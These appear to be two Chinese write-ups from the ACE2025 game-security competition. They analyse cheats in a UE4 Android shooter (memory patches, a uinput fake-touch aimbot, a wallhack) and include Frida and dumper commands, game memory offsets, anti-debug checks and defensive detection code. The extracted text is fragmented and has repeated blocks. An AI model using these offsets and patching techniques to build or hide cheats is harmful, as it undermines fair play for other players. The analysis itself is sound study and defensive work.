0x1B9C函数是主要执行外挂逻辑的函数
在libGame.so里面还有几个字符串解密函数,由于数量不是很多所以我并没有写一个一次性解密所有字符串的函数,如果需要解密字符串可以通过特征匹配的思路来解决,字符串解密函数的第一个参数存放解密后的字符串,第二个参数是密文,这种字符串解密函数的特征就是前n个字节做密钥,后面的则是密文,字符串的长度就是if条件中的值,如果使用特征匹配的话思路就是匹配^
,%
, if == n
这样的式子来获取字符串长度和密钥长度,然后查找字符串函数的交叉引用,提取参数中的地址,并用IDA的api读取指定地址的数据,然后复现解密函数进行批量解密
我这里为了不复杂化就写一个解密函数来手动修改长度和数据
于是可以得到字符串信息
sub_B80函数是寻找libUE4.so的基址,具体实现流程如下:通过fopen函数打开proc/pid/maps文件打开程序的虚拟内存空间,通过fgets函数遍历maps文件的每一行字符串,通过strstr函数筛选包含libUE4.so
字符串的行,然后通过strtok函数以字符-
分割文本,提取字符串,最后使用strtoul
函数讲字符串转换成unsigned long int类型的整数,通过Fridahook可以很容易分析出来这一函数
发现这里和之前找到的GWorld偏移一致,可以知道这里获取了GWorld的地址
这里获取了持久关卡的指针,这是UWorld类中的一个重要成员,存放了Actors
等数据,是遍历玩家角色的关键成员变量
这里获取了Actor的数组和长度,用于下面遍历Actor获取目标对象
此处遍历Actor并获取指定对象,这里的0xA63BE28是对象的虚标指针,UE4中每个类的虚表(vtable)在libUE4.so
中的偏移是固定的。通过比对虚表偏移,判断当前 Actor 是否为目标对象
通过frida脚本可以发现程序寻找的Actor为: FirstPersonCharacter_C
这里可以看到外挂寻找了几个当前对象的偏移
可以在SDK找到这几个偏移对应的变量
通过修改对应的内存值可以发现RecoilAccumulationRate
实际上是计算枪口抖动的系数,外挂中把此处修改成了0,改成非0的值就可以发现开枪之后枪口会上调MaxAcceleration
是人物移动速度的变量,程序把这里的值修改成了1000000000,把值改成1000则可以使人物正常行走
仔细观察游戏会发现,每次开枪的时候准星都会锁定在一个箱子那里,无论是重启游戏还是移动角色或者箱子到不同位置,准星始终在一个箱子身上,于是先寻找出来是哪一个箱子,在之前dump的Actor列表中发现有名为EditorCube
的对象,一共有14个,数了一下箱子的数量也是14个,那么基本可以确定箱子就是这个对象,然后通过输出所有箱子的vector
的值获取坐标,再移动目标箱子就可以比对出来是哪一个箱子
通过上述方法比对之后不难发现只有EditorCube8
的值发生了变化,那么可以确定这个就是我们的目标Actor,接下来寻找这个箱子的世界坐标并给坐标下硬件断点打印调用栈
通过Frida hook 我们可以获取角色视角的Vector的值,通过PlayerController + 0x288
的偏移处可以获取到ControlRotation
的地址,其中后续的12个字节就是角色的相机的位置信息,即FRotator
结构体,其成员变量分别是Pitch
,Yaw
,Roll
,使用stackplz
给此处下硬件断点(w)并打印调用栈可回溯到写入此内存地址的函数的调用栈
下断点
得到调用栈信息,经过分析发现0x8b387c0
位置的函数是向FRotator
结构体的成员变量写入坐标的,而0x670f3f8
貌似是处理用户交互的函数,也就是处理射击这一行为的函数,使用Frida将这一处的调用Patch成NOP可以实现自瞄的去除
可以看到这里会对坐标进行一些计算,之后就调用函数0x8b387c0
将坐标写入到对应结构体中,patch此处函数调用即可使外挂只计算而不写入坐标信息
考虑到自瞄实现的逻辑中,角色视角和子弹弹道的改变应该同时处理,所以在前面修改角色视角的函数中同样实现了修改子弹弹道的具体实现逻辑
分析Actorlist可以知道子弹的对象是FirstPersonProjectile_C
,这个类继承自ProjectileMovementComponent.MovementComponent.ActorComponent.Object
通过hook打印这个类的InitialSpeed
和MaxSpeed
可以发现这两个值都是3000说明子弹速度并没有被修改
在函数sub_670F110
中继续分析可以看到前面patch的地方的后面就是处理子弹弹道的逻辑
其中ChangeCorner
函数(已改名)是用来控制子弹弹道随机化的(-30°到30°)
sub8D2ED80函数是控制枪口Location和Rotation的关键逻辑,函数调用链为sub_8D2ED80->sub_8D2E214
,sub_8D2E214是处理spawnactor的函数,见下图
阅读UE4官方文档可以知道子弹对象的生成逻辑和发射方向的逻辑
可以看到MuzzleLocation
是枪口的位置信息,MuzzleRotation
是枪口的朝向信息,而发射物的初始轨迹就是通过MuzzleRotation
来设置的,通过Frida hook获取 sub_8D2ED80函数调用前的寄存器信息可以知道其第三和第四个参数就是我们需要的Location和Rotation
通过控制变量多次调整角色的位置并触发hook可以知道我们的分析没有问题,下面只需要把子弹的Rotation
换成摄像机的Rotation即可,在onEnter回调中动态获取角色的Rotation并修改进去即可,Frida脚本如下
观察游戏中透视的特征可以发现无视了墙壁直接渲染在我们的视角中,说明他可能修改了材质的bDisableDepthTest
的值为True,使得人物模型可以透过墙壁看见,也可能是修改了模型的渲染顺序使得玩家的模型最后渲染,并且人物变成了红色高亮状态,这通常会调用SetVectorParameterValue
函数对材质的RGB值进行修改。
通过类成员变量之间的引用,可以找到一条获取Material
对象的指针链:Character -> SkeletalMeshComponent - >SkinnedMeshComponent -> SkeletalMesh -> SkeletalMaterial -> MaterialInterface -> Material;获取到Material之后就可以修改他的成员变量bDisableDepthTest
,经过Frida hook之后也确实发现这个值是True,但是修改成False之后透视效果依然存在,也想过可能是这个bool变量只会读取一次,但是实在是找不到hook时机来修改这一点
也尝试了去修改bCollideWithEnvironment
的值,然而也是没有效果,实在是想不到还有哪些地方会修改了
这次比赛的题目主要是考验对UE4引擎的熟悉程度,逆向的部分占比不算特别大,也没有出什么比较难的混淆加壳之类的,虽然已经做出了大部分的内容,但是还是需要加深对UE4引擎的理解,如果对UE4足够熟悉,应该能减少很多在寻找各个类之间的关系和所需的成员变量上。
文件名称 | \\n功能 | \\n
---|---|
decode.py | \\n处理字符串解密 | \\n
hack.js | \\n实现修复功能的Frida脚本 | \\n
SDK.txt | \\nDump得到的游戏SDK | \\n
Actor.txt | \\nDump得到的Actorlist | \\n
hack.js的用法为:终端输入 | \\n\\n |
frida -U -f com.ACE2025.Game -l hack.js
frida -U -f com.ACE2025.Game -l hack.js
.
/ue4dumper64
--package com.ACE2025.Game --ptrdec --sdku --gname 0xADF07C0 --guobj 0xAE34A98 --output
/data/local/tmp
--newue+
\\n.
/ue4dumper64
--package com.ACE2025.Game --ptrdec --sdku --gname 0xADF07C0 --guobj 0xAE34A98 --output
/data/local/tmp
--newue+
\\n.
/ue4dumper64
-- package com.ACE2025.Game --ptrdec --actors --gname 0xADF07C0 --gworld 0xAFAC398 --output
/data/local/tmp/actors
.txt --newue+
\\n.
/ue4dumper64
-- package com.ACE2025.Game --ptrdec --actors --gname 0xADF07C0 --gworld 0xAFAC398 --output
/data/local/tmp/actors
.txt --newue+
\\n[INFO] RootService: Service connected
Process : com.ACE2025.Game
PID: 15801
FILE: libUE4.so
Start Address: 764bd2f000
End Address: 7656a3d000
Size Memory: 173MB (181460992)
[INFO] Fixing...
[INFO] Fixer output :
Rebuilding Elf(So)
warning load size [185078944] is bigger than so size [181460992], dump maybe incomplete!!!
warning DT_HASH not found,try to detect dynsym size...
fixed so has write to /sdcard/PADumper/com.ACE2025.Game/764bd2f000-7656a3d000-libUE4_fix.so
Rebuilding Complete
Output: /sdcard/PADumper/com.ACE2025.Game
[INFO] Dump Success
[INFO] RootService: Service connected
Process : com.ACE2025.Game
PID: 15801
FILE: libUE4.so
Start Address: 764bd2f000
End Address: 7656a3d000
Size Memory: 173MB (181460992)
[INFO] Fixing...
[INFO] Fixer output :
Rebuilding Elf(So)
warning load size [185078944] is bigger than so size [181460992], dump maybe incomplete!!!
warning DT_HASH not found,try to detect dynsym size...
fixed so has write to /sdcard/PADumper/com.ACE2025.Game/764bd2f000-7656a3d000-libUE4_fix.so
Rebuilding Complete
Output: /sdcard/PADumper/com.ACE2025.Game
[INFO] Dump Success
data
=
[
0xA5
,
0x05
,
0x5E
,
0x29
,
0xE2
,
0x9A
,
0xBB
,
0x6E
,
0x08
,
0x42
,
0xC3
,
0x55
,
0xEC
,
0x01
,
0x7C
,
0xA9
,
0x96
,
0xD3
,
0x59
,
0xA8
,
0x91
,
0xCF
,
0x89
,
0x11
,
0x24
,
0xD6
,
0xC9
,
0x6C
,
0x3C
,
0x7C
,
0xA7
,
0xAE
,
0x95
,
0x1D
,
0x67
,
0x42
]
\\ncount
=
0
\\nfor
i
in
range
(
len
(data)):
\\n
print
(
chr
(data[i
+
0x1A
] ^ data[i
%
0x1A
]), end
=
\'\')
\\n
count
+
=
1
\\n
if
count
=
=
0x9
:
\\n
break
\\ndata
=
[
0xA5
,
0x05
,
0x5E
,
0x29
,
0xE2
,
0x9A
,
0xBB
,
0x6E
,
0x08
,
0x42
,
0xC3
,
0x55
,
0xEC
,
0x01
,
0x7C
,
0xA9
,
0x96
,
0xD3
,
0x59
,
0xA8
,
0x91
,
0xCF
,
0x89
,
0x11
,
0x24
,
0xD6
,
0xC9
,
0x6C
,
0x3C
,
0x7C
,
0xA7
,
0xAE
,
0x95
,
0x1D
,
0x67
,
0x42
]
\\ncount
=
0
\\nfor
i
in
range
(
len
(data)):
\\n
print
(
chr
(data[i
+
0x1A
] ^ data[i
%
0x1A
]), end
=
\'\')
\\n
count
+
=
1
\\n
if
count
=
=
0x9
:
\\n
break
\\n地址 | \\n字符串 | \\n
---|---|
0xB658 | \\nlibUE4.so | \\n
0xB650 | \\n- | \\n
0xB648 | \\nr | \\n
0xB634 | \\n/proc/%d/maps | \\n
0xB620 | \\n/proc/self/maps | \\n
偏移 | \\n类 | \\n对象 | \\n
---|---|---|
0x538 | \\nMyProjectCharacter.Character.Pawn.Actor.Object | \\nRecoilAccumulationRate | \\n
0x288 | \\nCharacter.Pawn.Actor.Object | \\nCharacterMovementComponent | \\n
0x1A0 | \\nCharacterMovementComponent.PawnMovementComponent.... | \\nMaxAcceleration | \\n
Part 1 :
[+]Actor: EditorCube8
[+] 坐标: (843.998779296875, -1169.60498046875, 295.23797607421875)
[+]Actor: EditorCube9
[+] 坐标: (1464.425537109375, -657.312744140625, 245.24537658691406)
[+]Actor: EditorCube10
[+] 坐标: (1464.425537109375, -46.785343170166016, 245.24537658691406)
[+]Actor: EditorCube11
[+] 坐标: (860.821533203125, -46.78565216064453, 245.23817443847656)
[+]Actor: EditorCube12
[+] 坐标: (1307.8231201171875, 714.8047485351563, 245.24351501464844)
[+]Actor: EditorCube13
[+] 坐标: (1310.8233642578125, 874.9715576171875, 245.2435302734375)
[+]Actor: EditorCube14
[+] 坐标: (1310.8233642578125, 790.3173828125, 395.24346923828125)
[+]Actor: EditorCube15
[+] 坐标: (-896.7808227539063, 828.98193359375, 245.21722412109375)
[+]Actor: EditorCube16
[+] 坐标: (-1034.357666015625, 746.9696655273437, 245.21559143066406)
[+]Actor: EditorCube17
[+] 坐标: (-961.6449584960938, 790.31689453125, 395.21636962890625)
[+]Actor: EditorCube18
[+] 坐标: (-1439.8385009765625, -811.4144897460937, 245.21078491210937)
[+]Actor: EditorCube19
[+] 坐标: (-1439.401123046875, -811.4213256835937, 395.2096862792969)
[+]Actor: EditorCube20
[+] 坐标: (-1309.3416748046875, -373.11163330078125, 295.2123107910156)
[+]Actor: EditorCube21
[+] 坐标: (-1123.3922119140625, 153.2134246826172, 245.2145233154297)
Part 2:
[+]Actor: EditorCube8
[+] 坐标: (859.3866577148438, -1172.3924560546875, 295.2377624511719)
[+]Actor: EditorCube9
[+] 坐标: (1464.425537109375, -657.312744140625, 245.24537658691406)
[+]Actor: EditorCube10
[+] 坐标: (1464.425537109375, -46.785343170166016, 245.24537658691406)
[+]Actor: EditorCube11
[+] 坐标: (860.821533203125, -46.78565216064453, 245.23817443847656)
[+]Actor: EditorCube12
[+] 坐标: (1307.8231201171875, 714.8047485351563, 245.24351501464844)
[+]Actor: EditorCube13
[+] 坐标: (1310.8233642578125, 874.9715576171875, 245.2435302734375)
[+]Actor: EditorCube14
[+] 坐标: (1310.8233642578125, 790.3173828125, 395.24346923828125)
[+]Actor: EditorCube15
[+] 坐标: (-896.7808227539063, 828.98193359375, 245.21722412109375)
[+]Actor: EditorCube16
[+] 坐标: (-1034.357666015625, 746.9696655273437, 245.21559143066406)
[+]Actor: EditorCube17
[+] 坐标: (-961.6449584960938, 790.31689453125, 395.21636962890625)
[+]Actor: EditorCube18
[+] 坐标: (-1439.8385009765625, -811.4144897460937, 245.21078491210937)
[+]Actor: EditorCube19
[+] 坐标: (-1439.401123046875, -811.4213256835937, 395.2096862792969)
[+]Actor: EditorCube20
[+] 坐标: (-1309.3416748046875, -373.11163330078125, 295.2123107910156)
[+]Actor: EditorCube21
[+] 坐标: (-1123.3922119140625, 153.2134246826172, 245.2145233154297)
Part 1 :
[+]Actor: EditorCube8
[+] 坐标: (843.998779296875, -1169.60498046875, 295.23797607421875)
[+]Actor: EditorCube9
[+] 坐标: (1464.425537109375, -657.312744140625, 245.24537658691406)
[+]Actor: EditorCube10
[+] 坐标: (1464.425537109375, -46.785343170166016, 245.24537658691406)
[+]Actor: EditorCube11
[+] 坐标: (860.821533203125, -46.78565216064453, 245.23817443847656)
[+]Actor: EditorCube12
[+] 坐标: (1307.8231201171875, 714.8047485351563, 245.24351501464844)
[+]Actor: EditorCube13
[+] 坐标: (1310.8233642578125, 874.9715576171875, 245.2435302734375)
上一年雖然止步於初賽,但之後找了時間復現了一下決賽,大概花了2、3周才復現完( 還是在有文章參考的情況下 ),內容很多,大致包括保護分析、vm分析、透視、自瞄實現。
\\n今年的決賽比較不同,他給了2種外掛,考察的是外掛功能的分析和外掛檢測,如下圖。
\\n我對外掛的實現與檢測都沒有太深入的研究,下文的檢測方式大多都是參考網上的文章現學現賣的,有寫錯的地方還請指正。
\\n
三件套與初賽一樣:
\\nGName:0xADF07C0
GObject:0xAE34A98
GWorld:0xAFAC398
利用GObject來dump SDK,記為SDKO.txt
。
1 | ./ue4dumper64 --sdku --newue+ --gname 0xADF07C0 --guobj 0xAE34A98 --package com.ACE2025.Game |
ACEInject這個Zygisk模塊會注入libGame.so
,將其拉入IDA分析,發現沒有混淆。
在.init_array
裡發現它調用pthread_create
創建了一個線程,對應線程回調函數如下。
具體邏輯是先獲取libUE4.so
的基址,在sub_1618
中修改libUE4_base + 0x6711AC4
的權限( rwx ),然後將*(libUE4_base + 0x6711AC4)
置為0x52A85908
。
最後的anti
是一些反調試邏輯。
libUE4.so
的0x6711AC4
處是一條mov指令。
而0x52A85908
對應的arm64匯編是mov w8, #0x42c80000
。
查看偽代碼,w8
最終會賦給*(v5 + 0x460)
,而v5
大概率是個UE4的對象。
hook後發現v5
可能是以下uobj
1 2 3 4 5 6 7 8 | [UObjectName] SphereComp [UObjectName] SphereComp [UObjectName] ProjectileComp [UObjectName] ProjectileComp [UObjectName] SphereComp [UObjectName] SphereComp [UObjectName] ProjectileComp [UObjectName] ProjectileComp |
在SDKO.txt
裡搜SphereComponent
,發現它0x460
偏移處是SphereRadius
屬性,看來libGame.so
中的修改目標就是它。
1 2 | Class: SphereComponent.ShapeComponent.PrimitiveComponent.SceneComponent.ActorComponent.Object float SphereRadius; //[Offset: 0x460, Size: 0x4] |
anti
函數如下,主要是一些frida、hook、調試檢測。
調試檢測1:/proc/self/stat
端口檢測:包括IDA、frida的默認端口。
\\n
調試檢測2:TracerPid
\\n
frida檢測:
\\n
hook檢測( 應該 ):
\\n
從上述分析可知,libGame.so
會修改libUE4.so
的sub_6711A54
中某處的字節碼。
因此可以通過crc32來判斷sub_6711A54
是否被修改,sub_6711A54
原始的crc32是0x49d5c836
。
1 2 3 4 5 6 7 8 9 10 11 12 13 | uLong get_crc32(uint8_t* addr, size_t size) { return crc32(0, addr, size); } bool is_sub_6711A54_modify(uint64_t base) { // func offset: 0x6711A54 // size: 0x224 // orig sub_6711A54 crc32 = 0x49d5c836; uLong crc_val = get_crc32( reinterpret_cast <uint8_t*>(base + 0x6711A54), 0x224); // LOGD(\\"crc_val: 0x%llx\\", crc_val); return crc_val != 0x49d5c836; } |
在線程中不斷調用is_sub_6711A54_modify
來檢測是否被修改,當libGame.so
注入後,成功檢測。
當然更通用的做法可能是對整個.text
段進行crc32,或者對一些重要的函數分別進行crc32,這裡針對單一函數的做法只是作為一個演示。
注:不知為何我用Xiaomi8 Lite( Magisk環境 )在測試時發現有時雖然libGame.so
成功注入,但卻修改失敗?有時卻能修改成功,有點玄學。而在另一部非Magisk環境的手機手動注入libGame.so
時卻能100%修改成功,有點神奇。
elf可執行文件的起始執行函數是start
,如下。
一開始以為br x16
那裡會跳到具體邏輯,但嘗試用frida stalker hook那處地址時並沒有觸發。
用frida stalker簡單trace後發現,__libc_init
會跳到0x241d90
。
1 2 3 4 5 6 | 0x241b04: bl #0x5f6bc47440 0x2b0440: adrp x16, #0x5f6bc4b000 0x2b0444: ldr x17, [x16, #0xfb0] 0x2b0448: add x16, x16, #0xfb0 0x2b044c: br x17 0x241d90: sub sp, sp, #0x70 |
注:後來用IDA9看才發現原來之前是因為沒有正確解析__libc_init
的參數,導致看不到sub_241d90
。
記0x241d90
為start_process
,這裡會通過am start來啟動APP,啟動成功後會調用usleep
等待APP加載so,然後調用sub_241BF0
實現外掛邏輯。
sub_241BF0
如下,一開始先初始化了ImGui,然後循環調用MainLoopStep
。
對比ImGui源碼,以此手動還原MainLoopStep
中的一些符號。
可以看到點擊「初始化輔助」按鈕後,會調用init_cheat
進行初始化,看看它的實現。
init_cheat
初始化流程大致如下。
從/proc/
pidof com.ACE2025.Game/maps
獲取libUE4.so
的基址,保存到全局變量。
通過process_vm_readv
系統調用來跨內存訪問訪問libUE4.so
中的一些值,保存到全局變量。
遍歷獲取MyProjectCharacter
對象( 暫時未知是基於libUE4的哪個全局變量來獲取的 ),然後保存其中的PlayerCameraManager
屬性到全局變量。
將上述遍歷過程用frida實現,如下:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 | function test_cheat_init() { let unknow1 = base.add(0xAF75B08).readPointer(); let unknow2 = base.add(0xAF75B08).add(8).readU32(); console. log ( \\"unknow1: \\" , hexdump(unknow1)); console. log ( \\"FirstPersonCharacter_C: \\" , All_Objects[ \\"FirstPersonCharacter_C\\" ]); for (let i = 0; i < unknow2; i++) { let uobj = unknow1.add(i * 24).readPointer(); console. log (`${i}: ${uobj}`); printName(uobj); } } |
由此可以看出0xAF75B08
指向的位置保存著Character
對象數組,0xAF75B08 + 8
指向的位置保存著數組大小。
最後調用get_ThirdPerson
遍歷獲取 & 保存TP_ThirdPersonCharacter
對象( 同上 ),後面還進行了一些操作,但應該不太重要,先不看了。
init_cheat
初始化後,inited
會置為true,然後會調用process_cheat_options
處理勾選的外掛功能。
process_cheat_options
是個巨大的函數,一開始會遍歷所有TP_ThirdPersonCharacter
對象,收集它們的信息( 同樣利用process_vm_readv
系統調用 ),用來計算繪制的參數。
中間一大片類似如下結構的代碼,應該是在獲取 & 處理UE4角色的骨骼信息。
\\n
最後根據勾選的參數來繪制。
\\n
總的來說process_cheat_options
是個巨大的透視框、自瞄框繪制函數。
自瞄開關的bool值保存在g_aimbot
。
查看其交叉引用,有兩處,一開始以為所有外掛實現邏輯都在process_cheat_options
,但分析了很久都沒有發現其中有實現自瞄的邏輯,基本上都是ImGui的繪制邏輯。
只好仔細分析另一處交叉引用,終於發現寫的操作,但它不是跨進程的寫,是如何實現自瞄的?
\\n
按x
找到g_dev_uinput_fd
的初始化邏輯,如下:
首先調用get_dev_input_event2_fd
遍歷/dev/input
目錄,獲取指定的Input Event( 大概是觸控屏幕的事件 ),我的設備會返回/dev/input/event2
。
然後調用create_virtual_device
創建 & 初始化一個虛擬設備。
查資料發現:「uinput是Linux用戶空間模擬輸入設備事件的機制,通過此機制,用戶空間程序可以向系統發送假的輸入事件。」
\\n注:uinput是android內置的一個內核模塊,對其進行open
、read
、write
、ioctl
等操作會觸發對應的回調( 這些回調定義在內核中 )。
最後會調用parse_dev_input_event2
,應該是在解析/dev/input/event2
?猜測是上述創建的虛擬設備需要其中的一些數據?
又或者是攔截了/dev/input/event2
,使其中的事件重定向到上述創建的虛擬設備?
至此g_dev_input_event2_fd
初始化成功,之後只要通過write
對g_dev_input_event2_fd
寫入數據( 特定事件 )即可實現屏幕控制。
回到之前一大堆對g_dev_uinput_fd
進行write
操作的地方,將該函數記為ctrl_uinput_to_aimbot
,大概就是這裡實現的自瞄( 當然前面還進行了一大堆的計算 )。
思路一:/dev/kmsg
中有cheat
創建虛擬設備的記錄。
嘗試監控/dev/kmsg
,但發現在so中沒有訪問/dev/kmsg
的權限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | void * watch_dev_kmesg( void * arg) { char path[] = \\"/dev/kmsg\\" ; int fd = open(path, O_RDONLY); if (fd < 0){ LOGD( \\"open %s fail\\" , path); return nullptr; } fd_set readfds; char buf[0x1000] = {0}; while (1) { FD_ZERO(&readfds); FD_SET(fd, &readfds); int r = select(fd + 1, &readfds, 0, 0, 0); if (-1 == r) break ; read(fd, buf, 128); LOGD( \\"%s: %s\\" , path, buf); } } |
思路二:嘗試監測/sys/devices/virtual/input/
目錄。
cheat啟動前:
\\n
cheat啟動後:多了個input47
( 47
是編號,不是固定的 )
它的名字是隨機的。
\\n
但APP的lib文件同樣沒有訪問/sys/devices/virtual/input/
的權限。
偶然發現lstat
能訪問/sys/devices/virtual/input/
目錄以及其下的子目錄,觀察發現cheat
創建的虛擬設備的st.st_mtim
、st.st_atim
、st.st_ctim
這三者會相等,並且等於當前的時間。
因此檢測思路如下:
\\n/sys/devices/virtual/input/inputX
,X
為9 ~ 255
( 觀察我手上僅有的兩部設備,推測input0~input8是系統自帶/保留的,新創建的input編號大概只能從9
開始 )。0x10
)。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | void * check_virtual_devices( void * arg) { char base_path[] = \\"/sys/devices/virtual/input\\" ; bool loged = false ; while (!loged) { struct timespec now; clock_gettime(CLOCK_REALTIME, &now); for ( int i = 9; i < 256; i++) { char buf[0x100] = {0}; struct stat st; sprintf (buf, \\"%s/input%d\\" , base_path, i); int r = lstat(buf, &st); if (r != 0) { continue ; } // 當st.st_mtim, st.st_atim, st.st_ctim 三者相等時, 滿足cheat創建的虛擬設備的第1個特徵 if (st.st_mtim.tv_sec == st.st_atim.tv_sec && st.st_atim.tv_sec == st.st_ctim.tv_sec) { // 再與當前時間比較, 若大於當前時間, 或差值少於0x10, 代表它就是cheat創建的虛擬設備 if (now.tv_sec <= st.st_mtim.tv_sec || (now.tv_sec - st.st_mtim.tv_sec) <= 0x10) { logManager->writeLine( \\"[Cheat Device] %s is cheat device\\" , buf); loged = true ; break ; } } } sleep(1); } pthread_exit(0); } |
從上述「初始化輔助」分析可知,cheat會通過libUE4.so + 0xAF75B08
來遍歷某個Character數組,記這數組為arr
。
因此檢測的思路是將arr
的所有元素複製到一片新的內存( 記為fake_memory
),在fake_memory
最後插入一個mmap
返回的地址( 記為never_access_address
),然後令libUE4.so + 0xAF75B08
指向fake_memory
,並將數組長度+1。
正常情況下never_access_address
永遠不會被訪問,即不會存在於物理內存空間。而執行init_cheat
時會訪問這個地址,導致物理內存出現這個地址。
而mincore
函數能很方便地判斷一個地址是否存在於物理內存空間,具體檢測腳本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | bool is_memory_exist(uint64_t addr) { int pagesize = getpagesize(); unsigned char vec = 0; uint64_t start = addr & (~(pagesize - 1)); mincore(( void *)start, pagesize, &vec); if (vec == 1) { LOGD( \\"內存頁: 0x%llx 在物理內存空間\\" , addr); } else { LOGD( \\"內存頁: 0x%llx 不在物理內存空間\\" , addr); } return vec == 1; } uint64_t insert_memory () { if (!libUE4_base) libUE4_base = ElfUtils::findBaseAddress( \\"libUE4.so\\" ); uint32_t arr_len = * reinterpret_cast <uint32_t*>((libUE4_base + 0xAF75B08 + 8)); if (!arr_len) { return -1; } // LOGD(\\"arr_len: %d\\", arr_len); uint64_t arr_start = * reinterpret_cast <uint64_t*>((libUE4_base + 0xAF75B08)); uint64_t fake_memory = reinterpret_cast <uint64_t>(mmap(nullptr,getpagesize(), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_SHARED, 0, 0)); // LOGD(\\"fake_memory: 0x%llx\\", fake_memory); for ( int i = 0; i < arr_len; i++) { *( reinterpret_cast <uint64_t*>(fake_memory + i * 24)) = *( reinterpret_cast <uint64_t*>(arr_start + i * 24)); *( reinterpret_cast <uint64_t*>(fake_memory + i * 24 + 8)) = *( reinterpret_cast <uint64_t*>(arr_start + i * 24 + 8)); *( reinterpret_cast <uint64_t*>(fake_memory + i * 24 + 16)) = *( reinterpret_cast <uint64_t*>(arr_start + i * 24 + 16)); }; // 在最後添加一個不可能被訪問的地址 uint64_t never_access_address = reinterpret_cast <uint64_t>(mmap(nullptr,getpagesize(), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_SHARED, 0, 0)); *( reinterpret_cast <uint64_t*>(fake_memory + arr_len * 24)) = never_access_address; *( reinterpret_cast <uint64_t*>(fake_memory + arr_len * 24 + 8)) = never_access_address; *( reinterpret_cast <uint64_t*>(fake_memory + arr_len * 24 + 16)) = never_access_address; * reinterpret_cast <uint64_t*>((libUE4_base + 0xAF75B08)) = reinterpret_cast <uint64_t>(fake_memory); // len + 1 * reinterpret_cast <uint32_t*>((libUE4_base + 0xAF75B08 + 8)) = arr_len + 1; return never_access_address; } void * check_memory( void * arg) { if (!libUE4_base) libUE4_base = ElfUtils::findBaseAddress( \\"libUE4.so\\" ); uint64_t never_access_address = -1; while (never_access_address == -1) { never_access_address = insert_memory(); sleep(1); } while ( true ) { if (is_memory_exist(never_access_address)) { break ; } sleep(1); } logManager->writeLine( \\"[Mincore Detection] cheater access address: 0x%llx\\" , never_access_address); pthread_exit(0); } |
點擊「初始化輔助」按鈕後,立即就被檢測到。
\\n
回顧一下,cheat
程序是通過process_vm_readv
來跨進程讀取libUE4.so
的數據,然後繪制方框、射線等。
思路一:異常捕獲,通過mprotect
將libUE4.so
的某片內存權限置為0,然後注冊信號回調捕獲異常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | void signal_callback( int sig, siginfo_t *info, void *ucontext) { ucontext_t* ctx = reinterpret_cast <ucontext_t*>(ucontext); if (ctx->uc_mcontext.pc < libUE4_base || ctx->uc_mcontext.pc >= (libUE4_base + libUE4_size)) { LOGD( \\"[signalCallback] sig: %lx pc: %llx offset: %llx lr: %llx\\" , sig, ctx->uc_mcontext.pc, (ctx->uc_mcontext.fault_address), ctx->uc_mcontext.regs[30]); } int pagesize = getpagesize(); uint64_t addr = libUE4_base + 0xADF07C0; uint64_t start = addr & (~(pagesize - 1)); mprotect( reinterpret_cast < void *>(start), pagesize * 2, PROT_READ | PROT_WRITE); } void init_signal() { struct sigaction act; sigset_t sigset; sigfillset(&sigset); act.sa_mask = sigset; act.sa_sigaction = signal_callback; act.sa_flags = SA_SIGINFO; // 代表使用sa_sigaction與非sa_handler sigaction(SIGSEGV, &act, 0); } void * test( void * arg) { sleep(5); init_signal(); if (!libUE4_base) libUE4_base = ElfUtils::findBaseAddress( \\"libUE4.so\\" ); if (!libUE4_size) libUE4_size = ElfUtils::findModuleSize( \\"libUE4.so\\" ); LOGD( \\"base: 0x%llx size: 0x%llx\\" , libUE4_base, libUE4_size); int pagesize = getpagesize(); uint64_t addr = libUE4_base + 0xADF07C0; uint64_t start = addr & (~(pagesize - 1)); while ( true ) { mprotect( reinterpret_cast < void *>(start), pagesize * 2, PROT_NONE); // sleep(1); // usleep(100); } } |
結果會導致外掛功能失靈,且無法捕獲cheat
的誇內存訪問。
思路二:由分析可知cheat
初始化時會通過/proc/<pid>/maps
獲取libUE4.so
的基址,因此嘗試利用inotify
來監測/proc/<pid>/maps
,當訪問次數超過n
次時代表非法訪問。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | void * watch_proc_maps( void * arg) { char path[0x100] = {0}; snprintf(path, NAME_MAX, \\"/proc/%d/maps\\" , getpid()); int fd = inotify_init(); if (fd < 0){ return nullptr; } int wd = inotify_add_watch(fd, path, IN_ALL_EVENTS); if (wd < 0){ close(fd); return nullptr; } const int buflen = sizeof ( struct inotify_event) * 0x100; char buf[buflen] = {0}; fd_set readfds; int access_count = 0; bool loged = false ; int n = 20; while (1) { FD_ZERO(&readfds); FD_SET(fd, &readfds); int r = select(fd + 1, &readfds, 0, 0, 0); // 此处阻塞 if (-1 == r) break ; if (r) { memset (buf, 0, buflen); int len = read(fd, buf, buflen); int i = 0; while (i < len) { struct inotify_event *event = ( struct inotify_event *)&buf[i]; if ((event->mask & IN_ACCESS)){ ++access_count; } i += sizeof ( struct inotify_event) + event->len; } } // 超過n次訪問, 代表不正常 // 只記錄一次 if (access_count > n && !loged) { loged = true ; logManager->writeLine( \\"[Illegal Access] target: %s count: 0x%lx\\" , path, access_count); } } pthread_exit(0); } |
結果是啟動cheat並初始化後,能順利監測到其訪問maps的行為,缺點是沒有更詳細的上下文。
\\n又一個周末獻給了騰訊,所幸也是有所收獲,願各位讀者也是如此。
\\n由於時間和能力有限,很多東西都沒有仔細深入分析,只能一筆帶過,屬實無奈。
\\n[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!
